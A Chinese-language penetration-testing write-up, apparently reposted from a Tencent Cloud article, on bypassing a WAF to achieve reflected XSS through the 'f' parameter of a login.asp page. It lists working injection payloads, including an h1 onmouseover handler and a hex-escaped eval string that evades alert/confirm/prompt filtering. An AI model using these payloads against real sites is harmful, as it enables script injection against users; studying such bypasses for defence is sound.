首先我的訪問為 login.asp?f=1 時候,頁面關鍵源碼為
可能是表示登錄次數的一個東西?(猜測) 現在我們知道的信息是參數f會填充到 loginflag這個隱藏框內。
嘗試
首先做一些基礎的XSS嘗試:
script標籤login.asp?f=1"><script>
直接觸發waf
img標籤login.asp?f=123" <img onload="alert(x)" src="
/login.asp?f=123" <img src="
可以正常的釋放引號與尖號,也可以完整釋放出 img標籤。但是只要和on事件搭上邊,就觸發了這個waf。https://www.w3schools.com/jsref/dom_obj_event.asp 這裡的一些基礎事件都做了嘗試。無解。
iframe標籤login.asp?f=123"> <iframe SRC="https://www.baidu.com
可解,但是總覺得沒有彈窗是有點不爽的意思。
繼續嘗試執行JS
嘗試使用H標籤,例如h1
可以正常放出onload事件,所以此處這個waf禁止的只是img的on事件。嘗試彈窗:
login.asp?f=1"><h1 onload="alert()">Hello</h1><img src="
我們又回到了waf上面,嘗試了alert、confirm、prompt都被攔截。但是可以console.log。
login.asp?f=1"><h1 onmouseover="console.log(/cxk/)">Hello</h1><img src="
這就有點再次陷入尷尬,還是沒有彈窗。不過我們已經可以執行js了,可以使用eval輕鬆的繞過。
login.asp?f="><h1 onmouseover=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")>Hello</h1><img src="
總結
首先肯定是不存在大小寫繞過的,不然也不會這麼費勁。我們不難看出,該WAF主要針對兩點做了一些手段。
script標籤
img標籤的 onXX事件
onXX事件裡面不能有彈窗函數 alert、confirm、prompt
治標不治本,當然針對XSS最傻瓜的處理辦法還是不要放過尖號好引號。
內容來源:https://cloud.tencent.com/developer/article/1688902